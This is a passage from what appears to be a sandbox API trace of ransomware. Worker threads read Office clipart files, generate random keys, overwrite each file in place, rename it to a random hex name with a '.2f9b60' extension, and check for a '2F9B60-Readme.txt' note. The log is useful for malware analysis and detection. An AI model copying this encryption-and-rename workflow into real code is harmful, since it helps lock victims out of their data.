RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1fa0 [0160.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059600 [0160.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504e90 [0160.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1fd0 [0160.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1fd0) returned 1 [0160.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1fd0 [0160.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2000 [0160.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2030 [0160.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2030) returned 1 [0160.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504e90) returned 1 [0160.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059600) returned 1 [0160.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce12fb0 [0160.816] SetFilePointerEx (in: hFile=0xfbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.816] WriteFile (hFile=0xfbc, lpBuffer=0x1ce12fb0, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1fbdfc30, lpOverlapped=0x0) [0206.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0206.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0206.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dff0 [0206.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dff0) returned 1 [0206.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eae0 [0206.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dff0 [0206.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f0a0 [0206.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f0a0) returned 1 [0206.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0206.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9eaf0 [0206.840] sprintf (in: _Dest=0x1cd9eaf0, _Format="%c%c" | out: _Dest="30") returned 2 [0206.840] sprintf (in: _Dest=0x1cd9eaf2, _Format="%c%c" | out: _Dest="b1") returned 2 [0206.840] sprintf (in: _Dest=0x1cd9eaf4, _Format="%c%c" | out: _Dest="6c") returned 2 [0206.840] sprintf (in: _Dest=0x1cd9eaf6, _Format="%c%c" | out: _Dest="51") returned 2 [0206.840] sprintf (in: _Dest=0x1cd9eaf8, _Format="%c%c" | out: _Dest="9a") returned 2 [0206.840] sprintf (in: _Dest=0x1cd9eafa, _Format="%c%c" | out: _Dest="c8") returned 2 [0206.840] sprintf (in: _Dest=0x1cd9eafc, _Format="%c%c" | out: _Dest="f8") returned 2 [0206.840] sprintf (in: _Dest=0x1cd9eafe, _Format="%c%c" | out: _Dest="eb") returned 2 [0206.840] sprintf (in: _Dest=0x1cd9eb00, _Format="%c%c" | out: _Dest="6e") returned 2 [0206.840] sprintf (in: _Dest=0x1cd9eb02, _Format="%c%c" | out: _Dest="17") returned 2 [0206.840] sprintf (in: _Dest=0x1cd9eb04, _Format="%c%c" | out: _Dest="da") returned 2 [0206.840] sprintf (in: _Dest=0x1cd9eb06, _Format="%c%c" | out: _Dest="dd") returned 2 [0206.840] sprintf (in: _Dest=0x1cd9eb08, _Format="%c%c" | out: _Dest="e6") returned 2 [0206.841] sprintf (in: _Dest=0x1cd9eb0a, _Format="%c%c" | out: _Dest="4d") returned 2 [0206.841] sprintf (in: _Dest=0x1cd9eb0c, _Format="%c%c" | out: _Dest="32") returned 2 [0206.841] sprintf (in: _Dest=0x1cd9eb0e, _Format="%c%c" | out: _Dest="c1") returned 2 [0206.841] sprintf (in: _Dest=0x1cd9eb10, _Format="%c%c" | out: _Dest="45") returned 2 [0206.841] sprintf (in: _Dest=0x1cd9eb12, _Format="%c%c" | out: _Dest="21") returned 2 [0206.841] sprintf (in: _Dest=0x1cd9eb14, _Format="%c%c" | out: _Dest="41") returned 2 [0206.841] sprintf (in: _Dest=0x1cd9eb16, _Format="%c%c" | out: _Dest="e2") returned 2 [0206.841] sprintf (in: _Dest=0x1cd9eb18, _Format="%c%c" | out: _Dest="0d") returned 2 [0206.841] sprintf (in: _Dest=0x1cd9eb1a, _Format="%c%c" | out: _Dest="07") returned 2 [0206.841] sprintf (in: _Dest=0x1cd9eb1c, _Format="%c%c" | out: _Dest="37") returned 2 [0206.841] sprintf (in: _Dest=0x1cd9eb1e, _Format="%c%c" | out: _Dest="a7") returned 2 [0206.841] RtlInitAnsiString (in: DestinationString=0x1fbdfca8, SourceString="30b16c519ac8f8eb6e17dadde64d32c1452141e20d0737a7" | out: DestinationString="30b16c519ac8f8eb6e17dadde64d32c1452141e20d0737a7") [0206.841] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fbdfc78, SourceString="30b16c519ac8f8eb6e17dadde64d32c1452141e20d0737a7", AllocateDestinationString=1 | out: DestinationString="30b16c519ac8f8eb6e17dadde64d32c1452141e20d0737a7") returned 0x0 [0206.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857720 [0206.842] wcscat (in: _Dest=0x431c6b80, _Source="30b16c519ac8" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\30b16c519ac8") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\30b16c519ac8" [0206.842] wcscat (in: _Dest=0x431c6b80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\30b16c519ac8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\30b16c519ac8.2f9b60" [0206.842] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\30b16c519ac8.2f9b60", NtPathName=0x1fbdfc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\30b16c519ac8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x43128720 Thread: id = 1524 os_tid = 0x1a24 [0120.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0122.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF", dwFileAttributes=0x20) returned 1 [0122.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfe4 [0122.504] GetFileSizeEx (in: hFile=0xfe4, lpFileSize=0x2006fce0 | out: lpFileSize=0x2006fce0*=2378) returned 1 [0122.504] SetFilePointerEx (in: hFile=0xfe4, liDistanceToMove=0x946, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.504] ReadFile (in: hFile=0xfe4, lpBuffer=0x2006fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2006fca8, lpOverlapped=0x0 | out: lpBuffer=0x2006fc60*, lpNumberOfBytesRead=0x2006fca8*=0x4, lpOverlapped=0x0) returned 1 [0122.519] SetFilePointerEx (in: hFile=0xfe4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc90 [0122.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd20 [0122.519] NtQuerySystemTime (in: CurrentTime=0x2006fba0 | out: CurrentTime=0x2006fba0*=132462177278962000) returned 0x0 [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x782f530d [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x51107442 [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x7236427b [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x626d9f5e [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x712cff4c [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x641a571b [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x7e613c8e [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x651afb25 [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x662bf0f7 [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x4c3e8a1d [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x16e7cb2a [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x14071800 [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x7fca82f6 [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x75a22b53 [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x50e90e57 [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x660878eb [0122.519] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x58312783 [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x7ef4723 [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0xe64e19a [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x6193cf [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x18d32851 [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x133fa1d2 [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x7ce822ed [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x55376431 [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x7236427b [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x78e686ee [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x2998e8c6 [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x16f9e8e9 [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x60b1f892 [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x5289a395 [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x7e967c1f [0122.520] RtlRandomEx (in: Seed=0x2006fb90 | out: Seed=0x2006fb90) returned 0x322c14ef [0122.528] ReadFile (in: hFile=0xfe4, lpBuffer=0x20166910, nNumberOfBytesToRead=0x94a, lpNumberOfBytesRead=0x2006fb90, lpOverlapped=0x0 | out: lpBuffer=0x20166910*, lpNumberOfBytesRead=0x2006fb90*=0x94a, lpOverlapped=0x0) returned 1 [0122.528] SetFilePointerEx (in: hFile=0xfe4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.528] WriteFile (in: hFile=0xfe4, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0x94a, lpNumberOfBytesWritten=0x2006fb94, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x2006fb94*=0x94a, lpOverlapped=0x0) returned 1 [0122.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eec0 [0122.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0122.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0122.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0122.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20166910) returned 1 [0122.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85da10) returned 1 [0122.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c170) returned 1 [0122.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050eef0 [0122.826] SetFilePointerEx (in: hFile=0xfe4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.826] WriteFile (in: hFile=0xfe4, lpBuffer=0x204ff7b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2006fcb0, lpOverlapped=0x0 | out: lpBuffer=0x204ff7b0*, lpNumberOfBytesWritten=0x2006fcb0*=0x10a, lpOverlapped=0x0) returned 1 [0123.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0123.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0123.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d840 [0123.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d840) returned 1 [0123.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d840 [0123.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d810 [0123.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d810) returned 1 [0123.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0123.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0123.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.042] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="0f") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="7d") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="dc") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="17") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="cf") returned 2 [0123.042] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="17") returned 2 [0123.042] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="60") returned 2 [0123.042] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="47") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="62") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="6a") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="a0") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="49") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="4a") returned 2 [0123.042] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="02") returned 2 [0123.042] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="90") returned 2 [0123.042] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="aa") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="e3") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="92") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="1b") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="3a") returned 2 [0123.042] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="ea") returned 2 [0123.042] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="bb") returned 2 [0123.042] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="28") returned 2 [0123.043] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="d9") returned 2 [0123.043] RtlInitAnsiString (in: DestinationString=0x2006fd28, SourceString="0f7ddc17cf176047626aa0494a0290aae3921b3aeabb28d9" | out: DestinationString="0f7ddc17cf176047626aa0494a0290aae3921b3aeabb28d9") [0123.043] RtlAnsiStringToUnicodeString (in: DestinationString=0x2006fcf8, SourceString="0f7ddc17cf176047626aa0494a0290aae3921b3aeabb28d9", AllocateDestinationString=1 | out: DestinationString="0f7ddc17cf176047626aa0494a0290aae3921b3aeabb28d9") returned 0x0 [0123.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9080 [0123.043] wcscat (in: _Dest=0x202b1410, _Source="0f7ddc17cf17" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7ddc17cf17") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7ddc17cf17" [0123.043] wcscat (in: _Dest=0x202b1410, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7ddc17cf17.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7ddc17cf17.2f9b60" [0123.043] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7ddc17cf17.2f9b60", NtPathName=0x2006fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7ddc17cf17.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107f00 [0123.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107f00) returned 1 [0123.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293760) returned 1 [0123.383] NtQueryInformationFile (in: FileHandle=0xfe4, IoStatusBlock=0x2006fd38, FileInformation=0x2006fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2006fd38, FileInformation=0x2006fd48) returned 0x0 [0123.383] NtSetInformationFile (FileHandle=0xfe4, IoStatusBlock=0x2006fd38, FileInformation=0x2006fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1410) returned 1 [0123.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9080) returned 1 [0123.386] FlushFileBuffers (hFile=0xfe4) returned 1 [0123.389] CloseHandle (hObject=0xfe4) returned 1 [0123.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1af0 [0123.390] wcscpy (in: _Dest=0x202b1af0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0123.390] wcscat (in: _Dest=0x202b1af0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0123.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0123.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1af0) returned 1 [0123.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a650) returned 1 Thread: id = 1525 os_tid = 0x1a28 [0120.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0122.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF", dwFileAttributes=0x20) returned 1 [0122.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfe8 [0122.502] GetFileSizeEx (in: hFile=0xfe8, lpFileSize=0x2060fb20 | out: lpFileSize=0x2060fb20*=1044) returned 1 [0122.502] SetFilePointerEx (in: hFile=0xfe8, liDistanceToMove=0x410, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.502] ReadFile (in: hFile=0xfe8, lpBuffer=0x2060faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2060fae8, lpOverlapped=0x0 | out: lpBuffer=0x2060faa0*, lpNumberOfBytesRead=0x2060fae8*=0x4, lpOverlapped=0x0) returned 1 [0122.505] SetFilePointerEx (in: hFile=0xfe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc60 [0122.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc90 [0122.506] NtQuerySystemTime (in: CurrentTime=0x2060f9e0 | out: CurrentTime=0x2060f9e0*=132462177278806000) returned 0x0 [0122.506] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x7d314f62 [0122.506] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x51cf0def [0122.506] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x6d7c6e36 [0122.506] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x10e258fb [0122.506] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x2d0b2516 [0122.506] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x578b7dca [0122.506] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x147d1241 [0122.506] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x3cf3214a [0122.506] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0xdb01a46 [0122.506] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x189cf2a7 [0122.506] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x4cd7d314 [0122.506] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x7c632640 [0122.507] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x54753c50 [0122.507] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x204fcd0c [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x7bd17198 [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x4f9cfd9a [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x9e3a280 [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x68d41e9d [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x660878eb [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x3d96443e [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x3eb7db9e [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x2b0c7f8c [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0xb75db5e [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x1d29bdb6 [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x5c6c5b54 [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0xad60c5c [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x7625dfcf [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x32b36584 [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x2ff58bd7 [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x6645172d [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x66f62ae4 [0122.508] RtlRandomEx (in: Seed=0x2060f9d0 | out: Seed=0x2060f9d0) returned 0x4b0a3cc4 [0122.517] ReadFile (in: hFile=0xfe8, lpBuffer=0x20171d40, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x2060f9d0, lpOverlapped=0x0 | out: lpBuffer=0x20171d40*, lpNumberOfBytesRead=0x2060f9d0*=0x414, lpOverlapped=0x0) returned 1 [0122.517] SetFilePointerEx (in: hFile=0xfe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.517] WriteFile (in: hFile=0xfe8, lpBuffer=0x201500b0*, nNumberOfBytesToWrite=0x414, lpNumberOfBytesWritten=0x2060f9d4, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesWritten=0x2060f9d4*=0x414, lpOverlapped=0x0) returned 1 [0122.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860cf0 [0122.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860bd0 [0122.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860bd0) returned 1 [0122.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0122.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20171d40) returned 1 [0122.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0122.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0122.804] 